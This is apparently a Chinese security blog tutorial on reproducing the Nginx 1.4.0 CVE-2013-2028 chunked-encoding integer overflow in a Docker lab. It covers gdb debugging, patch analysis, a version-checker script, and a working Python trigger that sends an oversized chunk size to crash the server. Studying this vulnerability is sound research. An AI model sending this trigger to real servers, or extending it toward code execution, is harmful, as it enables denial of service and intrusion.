Nginx cve-2013-2028漏洞环境搭建与复现

声明:测试环境为 Ubuntu 16.04 + Nginx 1.4.0,仅供安全研究使用

环境搭建

由于 cve-2013-2028 漏洞影响到的Nginx版本 1.3.9 和 1.4.0 已经在官方网站中被移除

所以我们需要在其他地方获取有漏洞的版本

方法一:Nginx官方GitHub仓库

这是目前最可靠的方法,Nginx 官方 GitHub 保留了所有历史版本

# 克隆 1.4.0 分支
git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0
cd nginx-1.4.0

# 验证分支
git log --oneline -3

方法二:从 GitHub 安全研究项目获取

有安全研究者专门整理了包含漏洞的 Nginx 版本

# 下载包含预编译二进制和源码的项目
git clone https://github.com/m4drat/CVE-2013-2028-Exploit.git
cd CVE-2013-2028-Exploit

# 项目中包含 Dockerfile 和 docker-compose,可以直接构建环境

准备环境

因为笔者自己是学习二进制安全方向的,所以将以源码分析为主要目标

这里我们结合前面两种方法的优点

用docker起 nginx1.4.0 的原生 Ubuntu 16.04 环境,但是下载官方的源码进行分析,这样既避免了编译器系统环境差异,也能做到二进制分析

当然哈,这也算是一种自找麻烦desuwa

1st. 准备docker环境

先拉取适合nginx 1.4.0 的 docker 环境

mkdir docker-nginx
cd ./docker-nginx

docker pull ubuntu:16.04

准备docker环境

2nd. 下载官方源码用于分析

git clone --single-branch --branch release-1.4.0 https://github.com/nginx/nginx.git nginx-1.4.0-src

# 验证源码版本
cd nginx-1.4.0-src
git log --oneline -1
# 输出: ... release-1.4.0

验证源码

3rd. 在docker中搭起nginx

# 在宿主机上,启动Ubuntu 16.04容器并挂载源码
docker run -it --privileged --name nginx_cve \
  -v ./nginx-1.4.0-src:/nginx-src \
  -p 8080:80 \
  -p 1234:1234 \
  ubuntu:16.04 /bin/bash

# 容器内安装必要依赖
apt-get update
apt-get install -y build-essential gcc g++ make libpcre3-dev zlib1g-dev libssl-dev gdb gdbserver vim

进入容器

编译nginx:

cd /nginx-src

# 配置编译选项(关键:禁用优化,开启调试)
./auto/configure \
  --prefix=/usr/local/nginx \
  --with-debug \
  --with-cc-opt="-O0 -g -fno-stack-protector" \
  --with-ld-opt="-fno-stack-protector" \
  --without-http_rewrite_module

make -j$(nproc)
make install

注意哈,这里的编译是为了方便调试,如果需要验证POC的话还是用以下命令正常配置编译选项:

/auto/configure --without-http_rewrite_module --without-http_gzip_module

配置编译选项

关键编译选项说明:

  • O0: 禁用优化,方便调试
  • g: 包含调试符号
  • fno-stack-protector: 禁用栈保护(漏洞利用必需)

4th. 配置Nginx以方便调试

编辑 /usr/local/nginx/conf/nginx.conf:

user root;  # 避免权限问题
worker_processes 1;  # 单进程,方便调试
daemon off;  # 前台运行,方便gdb attach
master_process off;  # 禁用master进程,直接调试worker

events {
    worker_connections 1024;
}

http {
    include mime.types;
    default_type application/octet-stream;
    
    server {
        listen 80;
        server_name localhost;
        
        location / {
            root html;
            index index.html;
        }
    }
}

修改完之后可以使用 -t 来检查conf文件

修改配置文件

5th. 调试环境配置

启动nginx 并使用 gdbserver 附加调试

# 容器内:启动gdbserver
gdbserver :1234 /usr/local/nginx/sbin/nginx

# Ubuntu 24.04主机上:连接远程调试
gdb /path/to/nginx-1.4.0-src/objs/nginx # 在拉取的源码目录下
(gdb) target remote localhost:1234
(gdb) set follow-fork-mode child  # 关键:跟踪子进程
(gdb) set detach-on-fork off

这里注意啊,gdbserver启动的端口1234在前文创建容器时就已经配置好了,

如果有师傅发现没有反应可以用 docker ps -a 检查一下端口映射是不是忘记开了

gdbserver附加调试

最后可以看到如上图所示,gdb远程调试

# 设置源码路径映射(关键!)
(gdb) set substitute-path /nginx-src /path/to/your/nginx-1.4.0-src

# 设置断点(CVE-2013-2028 漏洞位置)
(gdb) break ngx_http_parse_chunked
(gdb) break ngx_http_do_read_client_request_body
(gdb) break ngx_http_read_discarded_request_body  # 溢出发生处

# 继续运行
(gdb) continue

可以看到这边已经跟进调试了,并且也有源码对照

验证poc

验证简易POC

在另一个终端发送如下简易POC来确认chunk解析环节的整数溢出

#!/usr/bin/env python3
import socket
import sys

def trigger_cve_2013_2028(host="127.0.0.1", port=8080):
    """
    CVE-2013-2028 简易触发POC
    用于在gdb中观察整数溢出
    """
    
    # 构造HTTP请求头
    # 关键:Transfer-Encoding: chunked 必须存在
	headers = f"""POST / HTTP/1.1\r
Host: {host}\r
Transfer-Encoding: chunked\r
Content-Length: 0\r
Connection: Keep-Alive\r
\r
"""
    
    # 计算需要填充的长度,使chunk size刚好落在特定位置
    # nginx第一次接收1024字节,我们需要构造一个超长的十六进制"chunk size"
    # 这个值会被解析为负数,然后被当作极大的无符号数使用
    
    # 填充到接近1024字节边界
    padding_len = 1024 - len(headers) - 16  # 预留chunk size空间
    chunk_header = "f" * padding_len
    
    # 构造恶意的chunk size - 这是触发整数溢出的关键
    # 在64位系统上,这个负数值会被转换为极大的size_t
    malicious_size = "f000000000000060"
    
    # 组装第一包数据
    payload = headers + chunk_header + malicious_size + "\r\n"
    
    print(f"[*] 目标: {host}:{port}")
    print(f"[*] 数据包长度: {len(payload)} bytes")
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        
        # 发送数据包 - 触发整数溢出设置错误的长度值
        print("[*] 发送数据...")
        s.sendall(payload.encode())
        
        s.close()
        print("[*] POC发送完成,检查gdb中的崩溃信息")
        
    except Exception as e:
        print(f"[!] 错误: {e}")

if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
    trigger_cve_2013_2028(host, port)

另外,在gdb中使用 p *r 就能得到完整的请求结构(这个有亿点长,挪至文章末尾了)

  • 在 64 位系统中,off_t 通常是有符号 64 位整数(int64_t)
  • 溢出临界点:0x7FFFFFFFFFFFFFFF(2^63-1)是最大值,加 1 后变为 0x8000000000000000(-2^63)

这里可以看到长度已经被设置为 -1 了,

ctx结构体的size也在解析后变成了0xffffffff

感兴趣的师傅可以选择在打下第一个断点后逐步追踪,

观察size的值跟随解析函数一步步增大

display r->headers_in.content_length_n
display *ctx

image-20260319133108459

比对补丁确定漏洞点

从上面的调试我们可以知道存在一个整数溢出的漏洞,接着我们看看 Nginx 官方给的补丁,分析漏洞的精确位置和防御逻辑。

补丁来源:http://nginx.org/download/patch.2013.chunked.txt

--- src/http/ngx_http_parse.c
+++ src/http/ngx_http_parse.c
@@ -2209,6 +2209,10 @@ data:
 
     }
 
+    if (ctx->size < 0 || ctx->length < 0) {
+        goto invalid;
+    }
+
     return rc;
 
 done:

关键数据结构

漏洞的核心在于 ngx_http_chunked_t 结构体的定义(位于 src/http/ngx_http_request.h):

typedef struct {
    ngx_uint_t           state;     // 解析状态
    off_t                size;      // chunk 大小,有符号 64 位整数
    off_t                length;    // 剩余长度,有符号 64 位整数
} ngx_http_chunked_t;

关键点:off_t 是有符号长整型(64 位系统为 64 位)。当累加结果超过 0x7FFFFFFFFFFFFFFF 时,会溢出为负数。

整数溢出的精确触发点

漏洞发生在 ngx_http_parse_chunked 函数的状态机中,具体在 sw_chunk_size 状态处理十六进制数字时:

case sw_chunk_size:
    if (ch >= '0' && ch <= '9') {
        ctx->size = ctx->size * 16 + (ch - '0');  // 累加无上限校验
        break;
    }
    c = (u_char) (ch | 0x20);
    if (c >= 'a' && c <= 'f') {
        ctx->size = ctx->size * 16 + (c - 'a' + 10);  // 累加无上限校验
        break;
    }

当发送超长的十六进制 chunk size(如 0x8000000000000000)时,ctx->size 累加溢出变为负数 -9223372036854775808。

随后在进入 sw_chunk_data 状态时,ctx->length 被计算为:

case sw_chunk_data:
    ctx->length = ctx->size + 4;  // 负数 + 4 仍为负数
    break;

补丁的精确位置

补丁位于函数末尾、所有状态处理完成后、return 语句之前:

data:
    // 状态机处理...
    switch (state) {
        // ... 各种 case ...
    }

    // 补丁添加在这里:函数出口处的统一校验
+   if (ctx->size < 0 || ctx->length < 0) {
+       goto invalid;
+   }

    return rc;  // 可能返回 NGX_AGAIN 或 NGX_OK

done:
    ctx->state = 0;
    b->pos = pos + 1;
    return NGX_DONE;

invalid:
    return NGX_ERROR;
}

防御策略:采用"出口统一校验"(Sanitization)而非分散校验,确保所有代码路径流出的数据都经过检查,符合"失败安全"(Fail-Safe)原则。

漏洞利用的完整调用链

ngx_http_read_discarded_request_body()
└── ngx_http_discard_request_body_filter()
└── ngx_http_parse_chunked()  <-- 溢出发生
└── 返回 NGX_AGAIN
└── 设置 r->headers_in.content_length_n = rb->chunked->length
└── ngx_http_read_discarded_request_body() 中:
size = ngx_min((size_t) r->headers_in.content_length_n, 4096);
// 负数转 size_t 变成极大值
recv(c->fd, buffer, size, 0);  // 栈溢出!

关键转换点 1:ngx_http_discard_request_body_filter 中的赋值

if (rc == NGX_AGAIN) {
    /* set amount of data we want to see next time */
    r->headers_in.content_length_n = rb->chunked->length;  // 负数赋给 content_length_n
    break;
}

关键转换点 2:ngx_http_read_discarded_request_body 中的类型转换

#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096

// r->headers_in.content_length_n 是 off_t(有符号)
// 转为 size_t(无符号)时,负数变成极大正数
size = ngx_min((size_t) r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);

// 实际:size = 0xFFFFFFFFFFFFFFFF(如果原值是 -1)

recv(c->fd, buffer, size, 0);  // buffer 只有 4096 字节,size 极大 -> 栈溢出

补丁校验条件的完备性

if (ctx->size < 0 || ctx->length < 0) {
    goto invalid;
}
  • ctx->size < 0:检测直接溢出
  • ctx->length < 0:检测传播溢出(ctx->size + 4 也可能溢出,如 0x7FFFFFFFFFFFFFFF + 4 = 0x8000000000000003)

重新编译

上文中我们选择了不开启栈保护的编译选项,主要用于源码对照以及gdb调试分析

接下来重新编译nginx

cd /nginx-src

# 清理之前的编译
make clean

# 正常编译(用于实际利用测试)
./auto/configure \
  --prefix=/usr/local/nginx \
  --without-http_rewrite_module \
  --without-http_gzip_module

make -j$(nproc)
make install

check for cve

接下来我们用工具脚本检验是否存在cve:

脚本来源为 xiw1ll师傅的githubxiw1ll/CVE-2013-2028_Checker: Tool for checking Nginx CVE-2013-2028

image-20260320151904014

#!/usr/bin/env python3
# check.py
import requests
import sys
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from packaging import version

urllib3.disable_warnings(InsecureRequestWarning)

vulnerable_versions = ['1.3.9', '1.4.0']
vulnerable_range = (version.parse('1.3.9'), version.parse('1.4.0'))

def is_vulnerable(version_string):
    parsed_version = version.parse(version_string)
    return vulnerable_range[0] <= parsed_version <= vulnerable_range[1]

def get_nginx_version(url):
    try:
        response = requests.get(url, timeout=3, verify=False)
        server_header = response.headers.get('Server', '')
        
        if 'nginx' in server_header.lower():
            parts = server_header.split('/')
            if len(parts) > 1:
                version_string = parts[1]
                vulnerable = is_vulnerable(version_string)
                print(f"[{'!' if vulnerable else '+'}] Target: {url} Nginx version: {version_string} Vulnerable: {vulnerable}")
            else:
                print(f"[?] Target: {url} Nginx detected but no version specified")
        else:
            print("[-] The server does not appear to be running Nginx.")
    
    except requests.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    try:
        url = sys.argv[1]
        get_nginx_version(url)
    except IndexError:
        print("[*] Usage: python3 nginx_cve_2013_2028_checker.py http://127.0.0.1")

如何构造exp

主要是BROP以及canary爆破,并且需要在其中找到能够利用的gadget,

笔者在这就不多说了,感兴趣的师傅可以看看下面两位大佬的文章,

讲的很详细,也有我在分析部分没讲到的补充

【技术分享】BROP Attack之Nginx远程代码执行漏洞分析及利用-安全KER - 安全资讯平台

Nginx栈溢出分析 - CVE-2013-2028 - l3m0n - 博客园

p *r 请求结构体

pwndbg> p *ctx
$2 = {
  state = 0,
  size = 0,
  length = 0
}
pwndbg> p *r
$3 = {
  signature = 1347703880,
  connection = 0x7ffff7fbc0c8,
  ctx = 0x6f3840,
  main_conf = 0x6e6dd8,
  srv_conf = 0x6fb1e8,
  loc_conf = 0x6ff4b8,
  read_event_handler = 0x44b05f <ngx_http_block_reading>,
  write_event_handler = 0x43bcdf <ngx_http_core_run_phases>,
  cache = 0x0,
  upstream = 0x0,
  upstream_states = 0x0,
  pool = 0x6f2f30,
  header_in = 0x6e5220,
  headers_in = {
    headers = {
      last = 0x6f2ff0,
      part = {
        elts = 0x6f39e8,
        nelts = 2,
        next = 0x0
      },
      size = 48,
      nalloc = 20,
      pool = 0x6f2f30
    },
    host = 0x6f39e8,
    connection = 0x0,
    if_modified_since = 0x0,
    if_unmodified_since = 0x0,
    if_match = 0x0,
    if_none_match = 0x0,
    user_agent = 0x0,
    referer = 0x0,
    content_length = 0x0,
    content_type = 0x0,
    range = 0x0,
    if_range = 0x0,
    transfer_encoding = 0x6f3a18,
    expect = 0x0,
    upgrade = 0x0,
    accept_encoding = 0x0,
    via = 0x0,
    authorization = 0x0,
    keep_alive = 0x0,
    x_forwarded_for = {
      elts = 0x0,
      nelts = 0,
      size = 0,
      nalloc = 0,
      pool = 0x0
    },
    user = {
      len = 0,
      data = 0x0
    },
    passwd = {
      len = 0,
      data = 0x0
    },
    cookies = {
      elts = 0x0,
      nelts = 0,
      size = 0,
      nalloc = 0,
      pool = 0x0
    },
    server = {
      len = 1,
      data = 0x6fcd86 "x"
    },
    content_length_n = -1,
    keep_alive_n = -1,
    connection_type = 0,
    chunked = 1,
    msie = 0,
    msie6 = 0,
    opera = 0,
    gecko = 0,
    chrome = 0,
    safari = 0,
    konqueror = 0
  },
  headers_out = {
    headers = {
      last = 0x6f3158,
      part = {
        elts = 0x6f3480,
        nelts = 0,
        next = 0x0
      },
      size = 48,
      nalloc = 20,
      pool = 0x6f2f30
    },
    status = 0,
    status_line = {
      len = 0,
      data = 0x0
    },
    server = 0x0,
    date = 0x0,
    content_length = 0x0,
    content_encoding = 0x0,
    location = 0x0,
    refresh = 0x0,
    last_modified = 0x0,
    content_range = 0x0,
    accept_ranges = 0x0,
    www_authenticate = 0x0,
    expires = 0x0,
    etag = 0x0,
    override_charset = 0x0,
    content_type_len = 0,
    content_type = {
      len = 0,
      data = 0x0
    },
    charset = {
      len = 0,
      data = 0x0
    },
    content_type_lowcase = 0x0,
    content_type_hash = 0,
    cache_control = {
      elts = 0x0,
      nelts = 0,
      size = 0,
      nalloc = 0,
      pool = 0x0
    },
    content_length_n = -1,
    date_time = 0,
    last_modified_time = -1
  },
  request_body = 0x6f3e30,
  lingering_time = 0,
  start_sec = 1773895810,
  start_msec = 81,
  method = 2,
  http_version = 1001,
  request_line = {
    len = 14,
    data = 0x6fcd70 "GET / HTTP/1.1\r\nHost"
  },
  uri = {
    len = 11,
    data = 0x6f3dd2 "/index.html"
  },
  args = {
    len = 0,
    data = 0x0
  },
  exten = {
    len = 4,
    data = 0x6f3dd9 "html"
  },
  unparsed_uri = {
    len = 1,
    data = 0x6fcd74 "/ HTTP/1.1\r\nHost"
  },
  method_name = {
    len = 3,
    data = 0x6fcd70 "GET / HTTP/1.1\r\nHost"
  },
  http_protocol = {
    len = 8,
    data = 0x6fcd76 "HTTP/1.1\r\nHost"
  },
  out = 0x0,
  main = 0x6f2f80,
  parent = 0x0,
  postponed = 0x0,
  post_subrequest = 0x0,
  posted_requests = 0x0,
  phase_handler = 8,
  content_handler = 0x0,
  access_code = 0,
  variables = 0x6f3968,
  limit_rate = 0,
  header_size = 0,
  request_length = 55,
  err_status = 0,
  http_connection = 0x6e5190,
  log_handler = 0x44cb92 <ngx_http_log_error_handler>,
  cleanup = 0x0,
  subrequests = 201,
  count = 2,
  blocked = 0,
  aio = 0,
  http_state = 2,
  complex_uri = 0,
  quoted_uri = 0,
  plus_in_uri = 0,
  space_in_uri = 0,
  invalid_header = 0,
  add_uri_to_alias = 0,
  valid_location = 1,
  valid_unparsed_uri = 0,
  uri_changed = 0,
  uri_changes = 10,
  request_body_in_single_buf = 0,
  request_body_in_file_only = 0,
  request_body_in_persistent_file = 0,
  request_body_in_clean_file = 0,
  request_body_file_group_access = 0,
  request_body_file_log_level = 5,
  subrequest_in_memory = 0,
  waited = 0,
  cached = 0,
  gzip_tested = 0,
  gzip_ok = 0,
  gzip_vary = 0,
  proxy = 0,
  bypass_cache = 0,
  no_cache = 0,
  limit_conn_set = 0,
  limit_req_set = 0,
  pipeline = 0,
  chunked = 0,
  header_only = 0,
  keepalive = 1,
  lingering_close = 1,
  discard_body = 0,
  internal = 1,
  error_page = 0,
  ignore_content_encoding = 0,
  filter_finalize = 0,
  post_action = 0,
  request_complete = 0,
  request_output = 0,
  header_sent = 0,
  expect_tested = 0,
  root_tested = 1,
  done = 0,
  logged = 0,
  buffered = 0,
  main_filter_need_in_memory = 0,
  filter_need_in_memory = 0,
  filter_need_temporary = 0,
  allow_ranges = 0,
  state = 0,
  header_hash = 14551824004462063861,
  lowcase_index = 17,
  lowcase_header = "transfer-encoding", '\000' <repeats 14 times>,
  header_name_start = 0x6fcda5 "\r\n", 'f' <repeats 198 times>...,
  header_name_end = 0x6fcd9a "",
  header_start = 0x6fcd9c "chunked",
  header_end = 0x6fcda5 "\r\n", 'f' <repeats 198 times>...,
  uri_start = 0x6fcd74 "/ HTTP/1.1\r\nHost",
  uri_end = 0x6fcd75 " HTTP/1.1\r\nHost",
  uri_ext = 0x0,
  args_start = 0x0,
  request_start = 0x6fcd70 "GET / HTTP/1.1\r\nHost",
  request_end = 0x6fcd7e "\r\nHost",
  method_end = 0x6fcd72 "T / HTTP/1.1\r\nHost",
  schema_start = 0x0,
  schema_end = 0x0,
  host_start = 0x0,
  host_end = 0x0,
  port_start = 0x0,
  port_end = 0x0,
  http_minor = 1,
  http_major = 1
}